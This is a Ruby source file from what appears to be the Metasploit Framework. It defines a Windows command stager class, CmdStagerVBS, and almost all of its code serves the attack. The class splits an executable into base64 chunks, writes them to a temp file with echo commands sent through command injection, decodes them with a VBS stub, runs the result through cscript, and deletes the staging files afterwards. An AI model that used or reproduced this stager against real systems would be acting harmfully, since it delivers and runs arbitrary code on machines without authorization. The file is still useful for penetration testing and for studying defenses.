##
# $Id: vbs.rb 12595 2011-05-12 18:33:49Z jduck $
##

require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'

module Rex
module Exploitation

###
#
# This class provides the ability to create a sequence of commands from an executable.
# When this sequence is ran via command injection or a shell, the resulting exe will 
# be written to disk and executed.
#
# This particular version uses Windows Scripting (VBS) to base64 decode a file,
# created via echo >>, and decode it to the final binary.
#
# Requires: Windows Scripting
# Known Issue: errors with non-ascii-native systems
#
# Written by bannedit
#
###

class CmdStagerVBS < CmdStagerBase

	def initialize(exe)
		super

		@var_decoder = Rex::Text.rand_text_alpha(5)
		@var_encoded = Rex::Text.rand_text_alpha(5)
		@var_decoded = Rex::Text.rand_text_alpha(5)
		@decoder     = nil # filled in later
	end


	#
	# Override just to set the extra byte count
	#
	def generate_cmds(opts)
		# Set the start/end of the commands here (vs initialize) so we have @tempdir
		@cmd_start = "echo "
		@cmd_end   = ">>#{@tempdir}#{@var_encoded}.b64"
		xtra_len = @cmd_start.length + @cmd_end.length + 1
		opts.merge!({ :extra => xtra_len })
		super
	end


	#
	# Simple base64...
	#
	def encode_payload(opts)
		Rex::Text.encode_base64(@exe)
	end


	#
	# Combine the parts of the encoded file with the stuff that goes
	# before / after it.
	#
	def parts_to_commands(parts, opts)

		cmds = []
		parts.each do |p|
			cmd = ''
			cmd << @cmd_start
			cmd << p
			cmd << @cmd_end
			cmds << cmd
		end

		cmds
	end


	#
	# Generate the commands that will decode the file we just created
	#
	def generate_cmds_decoder(opts)

		# Allow decoder stub override (needs to input base64 and output bin)
		@decoder = opts[:decoder] if (opts[:decoder])

		# Read the decoder data file
		f = File.new(@decoder, "rb")
		decoder = f.read(f.stat.size)
		f.close

		# Replace variables
		decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
		decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
		decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")

		# Split it apart by the lines
		decoder.split("\n")
	end


	#
	# We override compress commands just to stick in a few extra commands
	# last second..
	#
	def compress_commands(cmds, opts)
		# Make it all happen
		cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"

		# Clean up after unless requested not to..
		if (not opts[:nodelete])
			cmds << "del #{@tempdir}#{@var_decoder}.vbs"
			cmds << "del #{@tempdir}#{@var_encoded}.b64"
			# NOTE: We won't be able to delete the exe while it's in use.
		end

		super
	end

	# Windows uses & to concat strings
	def cmd_concat_operator
		" & "
	end

end
end
end